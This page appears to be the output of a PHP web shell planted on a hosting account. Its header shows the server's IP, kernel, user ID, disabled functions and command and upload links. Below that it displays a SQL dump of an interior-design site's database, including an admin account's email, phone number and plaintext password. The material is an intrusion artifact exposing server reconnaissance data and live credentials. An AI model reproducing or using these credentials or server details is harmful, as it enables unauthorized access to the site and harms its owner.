|
Server IP : 153.92.220.142 / Your IP : 216.73.216.232 Web Server : LiteSpeed System : Linux nl-srv-web513.main-hosting.eu 5.14.0-503.34.1.el9_5.x86_64 #1 SMP PREEMPT_DYNAMIC Thu Mar 27 06:00:50 EDT 2025 x86_64 User : u444427800 ( 444427800) PHP Version : 8.1.32 Disable Function : system, exec, shell_exec, passthru, mysql_list_dbs, ini_alter, dl, symlink, link, chgrp, leak, popen, apache_child_terminate, virtual, mb_send_mail MySQL : OFF | cURL : ON | WGET : ON | Perl : OFF | Python : OFF Directory (0755) : /home/u444427800/domains/dronacharyasunayana.com/../velvethomez.com/public_html/ |
| [ Home ] | [ C0mmand ] | [ Upload File ] |
|---|
-- phpMyAdmin SQL Dump -- version 5.2.1 -- https://www.phpmyadmin.net/ -- -- Host: 127.0.0.1 -- Generation Time: Jun 04, 2024 at 01:21 PM -- Server version: 10.4.32-MariaDB -- PHP Version: 8.2.12 SET SQL_MODE = "NO_AUTO_VALUE_ON_ZERO"; START TRANSACTION; SET time_zone = "+00:00"; /*!40101 SET @OLD_CHARACTER_SET_CLIENT=@@CHARACTER_SET_CLIENT */; /*!40101 SET @OLD_CHARACTER_SET_RESULTS=@@CHARACTER_SET_RESULTS */; /*!40101 SET @OLD_COLLATION_CONNECTION=@@COLLATION_CONNECTION */; /*!40101 SET NAMES utf8mb4 */; -- -- Database: `velvethomez` -- -- -------------------------------------------------------- -- -- Table structure for table `admin` -- CREATE TABLE `admin` ( `id` int(11) NOT NULL, `name` varchar(50) DEFAULT NULL, `mobile` varchar(20) DEFAULT NULL, `email` varchar(100) DEFAULT NULL, `password` varchar(100) DEFAULT NULL, `status` int(11) DEFAULT 0 ) ENGINE=InnoDB DEFAULT CHARSET=utf8mb4 COLLATE=utf8mb4_general_ci; -- -- Dumping data for table `admin` -- INSERT INTO `admin` (`id`, `name`, `mobile`, `email`, `password`, `status`) VALUES (1, 'Admin', ' 81788 53077', 'admin.velvethomez@gmail.com', 'Admin@1234', 1); -- -------------------------------------------------------- -- -- Table structure for table `career` -- CREATE TABLE `career` ( `career_id` int(11) NOT NULL, `apply_for` varchar(100) NOT NULL, `name` varchar(200) NOT NULL, `email` varchar(200) NOT NULL, `mobile` varchar(10) NOT NULL, `salary` varchar(10) NOT NULL, `location` varchar(200) NOT NULL, `resume` text NOT NULL, `create_on` int(11) NOT NULL ) ENGINE=InnoDB DEFAULT CHARSET=latin1 COLLATE=latin1_swedish_ci; -- -------------------------------------------------------- -- -- Table structure for table `gallery` -- CREATE TABLE `gallery` ( `gallery_id` int(11) NOT NULL, `gallery` varchar(200) NOT NULL, `insert_datetime` datetime NOT NULL ) ENGINE=InnoDB DEFAULT CHARSET=latin1 COLLATE=latin1_swedish_ci; -- -------------------------------------------------------- -- -- Table structure for table `media_gallery` -- CREATE TABLE `media_gallery` ( `media_gallery_id` int(11) NOT NULL, `media_gallery` varchar(200) NOT NULL, `insert_datetime` datetime NOT NULL ) ENGINE=InnoDB DEFAULT CHARSET=latin1 COLLATE=latin1_swedish_ci; -- -------------------------------------------------------- -- -- Table structure for table `project` -- CREATE TABLE `project` ( `project_id` int(11) NOT NULL, `category` varchar(100) NOT NULL, `sub_category` varchar(100) NOT NULL, `image` text NOT NULL, `created_on` int(11) NOT NULL ) ENGINE=InnoDB DEFAULT CHARSET=latin1 COLLATE=latin1_swedish_ci; -- -- Dumping data for table `project` -- INSERT INTO `project` (`project_id`, `category`, `sub_category`, `image`, `created_on`) VALUES (106, 'Interior Design', 'Theme', '1717499661601789223665ef70d739cc.popup-quote.webp', 1717499661), (107, 'Interior Design', 'Component', '1717499661601789223665ef70d739cc_component.popup-quote.webp', 1717499661), (108, 'Exterior Design', 'Theme', '171749971719252126665ef74567c0e.vh-logo-black.png', 1717499717), (109, 'Exterior Design', 'Component', '171749971719252126665ef74567c0e_component.vh-logo-black.png', 1717499717), (110, '2D/3D Layouts', 'Theme', '17174997641151425619665ef774ae12d.common-bg.webp', 1717499764), (111, '2D/3D Layouts', 'Component', '17174997641151425619665ef774ae12d_component.common-bg.webp', 1717499764); -- -------------------------------------------------------- -- -- Table structure for table `quotation` -- CREATE TABLE `quotation` ( `quotation_id` int(11) NOT NULL, `name` varchar(200) NOT NULL, `email` varchar(200) NOT NULL, `mobile` varchar(10) NOT NULL, `service_location` varchar(200) NOT NULL, `address` varchar(200) NOT NULL, `service_for` varchar(200) NOT NULL, `property_type` varchar(200) NOT NULL, `other_property_type` varchar(200) NOT NULL, `create_on` int(11) NOT NULL ) ENGINE=InnoDB DEFAULT CHARSET=latin1 COLLATE=latin1_swedish_ci; -- -------------------------------------------------------- -- -- Table structure for table `services` -- CREATE TABLE `services` ( `services_id` int(11) NOT NULL, `heading` varchar(100) NOT NULL, `content` varchar(200) NOT NULL, `image` text NOT NULL, `created_on` int(11) NOT NULL ) ENGINE=InnoDB DEFAULT CHARSET=latin1 COLLATE=latin1_swedish_ci; -- -- Dumping data for table `services` -- INSERT INTO `services` (`services_id`, `heading`, `content`, `image`, `created_on`) VALUES (3, 'Architecture', 'Vivamus lorem nibh, viverra et semper vel, auctor vitae elementum lacus.', '17174970471125429047665eecd778c08.se-icon1.webp', 1717497047), (4, 'Structure & Construction', 'Vivamus lorem nibh, viverra et semper vel, auctor vitae elementum lacus.', '1717497068860789137665eecece8d91.se-icon2.webp', 1717497068), (5, '2D/3D Layouts & Planning', 'Vivamus lorem nibh, viverra et semper vel, auctor vitae elementum lacus.', '1717497081935174513665eecf9c8bb8.se-icon3.webp', 1717497081), (6, 'Interior Designing', 'Vivamus lorem nibh, viverra et semper vel, auctor vitae elementum lacus.', '17174970971773471674665eed09ed439.se-icon4.webp', 1717497097), (7, 'Exterior Designing', 'Vivamus lorem nibh, viverra et semper vel, auctor vitae elementum lacus.', '1717497115292076297665eed1b205d7.se-icon6.webp', 1717497115), (8, 'Decoration Art', 'Vivamus lorem nibh, viverra et semper vel, auctor vitae elementum lacus.', '1717497129116236958665eed299e724.se-icon5.webp', 1717497129), (9, 'Interior Furnishing', 'Vivamus lorem nibh, viverra et semper vel, auctor vitae elementum lacus.', '17174971541763772050665eed42afc8b.se-icon5.webp', 1717497154), (10, 'Garden Designing', 'Vivamus lorem nibh, viverra et semper vel, auctor vitae elementum lacus.', '17174971901213966069665eed66dd05e.se-icon5.webp', 1717497190), (11, 'Terrace Designing', 'Vivamus lorem nibh, viverra et semper vel, auctor vitae elementum lacus.', '171749757692128823665eeee806c19.se-icon5.webp', 1717497576), (12, 'Pool Construction & Designing', 'Vivamus lorem nibh, viverra et semper vel, auctor vitae elementum lacus.', '1717497595993986397665eeefb9a325.se-icon5.webp', 1717497595); -- -------------------------------------------------------- -- -- Table structure for table `video` -- CREATE TABLE `video` ( `video_id` int(11) NOT NULL, `video_type` varchar(100) NOT NULL, `video_title` varchar(200) CHARACTER SET utf8 COLLATE utf8_general_ci NOT NULL, `video_link` text NOT NULL ) ENGINE=InnoDB DEFAULT CHARSET=utf8mb4 COLLATE=utf8mb4_general_ci; -- -- Indexes for dumped tables -- -- -- Indexes for table `admin` -- ALTER TABLE `admin` ADD UNIQUE KEY `id` (`id`), ADD UNIQUE KEY `email` (`email`); -- -- Indexes for table `career` -- ALTER TABLE `career` ADD PRIMARY KEY (`career_id`); -- -- Indexes for table `gallery` -- ALTER TABLE `gallery` ADD PRIMARY KEY (`gallery_id`); -- -- Indexes for table `media_gallery` -- ALTER TABLE `media_gallery` ADD PRIMARY KEY (`media_gallery_id`); -- -- Indexes for table `project` -- ALTER TABLE `project` ADD PRIMARY KEY (`project_id`); -- -- Indexes for table `quotation` -- ALTER TABLE `quotation` ADD PRIMARY KEY (`quotation_id`); -- -- Indexes for table `services` -- ALTER TABLE `services` ADD PRIMARY KEY (`services_id`); -- -- Indexes for table `video` -- ALTER TABLE `video` ADD PRIMARY KEY (`video_id`); -- -- AUTO_INCREMENT for dumped tables -- -- -- AUTO_INCREMENT for table `admin` -- ALTER TABLE `admin` MODIFY `id` int(11) NOT NULL AUTO_INCREMENT, AUTO_INCREMENT=4; -- -- AUTO_INCREMENT for table `career` -- ALTER TABLE `career` MODIFY `career_id` int(11) NOT NULL AUTO_INCREMENT, AUTO_INCREMENT=5; -- -- AUTO_INCREMENT for table `gallery` -- ALTER TABLE `gallery` MODIFY `gallery_id` int(11) NOT NULL AUTO_INCREMENT, AUTO_INCREMENT=13; -- -- AUTO_INCREMENT for table `media_gallery` -- ALTER TABLE `media_gallery` MODIFY `media_gallery_id` int(11) NOT NULL AUTO_INCREMENT, AUTO_INCREMENT=35; -- -- AUTO_INCREMENT for table `project` -- ALTER TABLE `project` MODIFY `project_id` int(11) NOT NULL AUTO_INCREMENT, AUTO_INCREMENT=112; -- -- AUTO_INCREMENT for table `quotation` -- ALTER TABLE `quotation` MODIFY `quotation_id` int(11) NOT NULL AUTO_INCREMENT, AUTO_INCREMENT=6; -- -- AUTO_INCREMENT for table `services` -- ALTER TABLE `services` MODIFY `services_id` int(11) NOT NULL AUTO_INCREMENT, AUTO_INCREMENT=13; -- -- AUTO_INCREMENT for table `video` -- ALTER TABLE `video` MODIFY `video_id` int(11) NOT NULL AUTO_INCREMENT, AUTO_INCREMENT=29; COMMIT; /*!40101 SET CHARACTER_SET_CLIENT=@OLD_CHARACTER_SET_CLIENT */; /*!40101 SET CHARACTER_SET_RESULTS=@OLD_CHARACTER_SET_RESULTS */; /*!40101 SET COLLATION_CONNECTION=@OLD_COLLATION_CONNECTION */;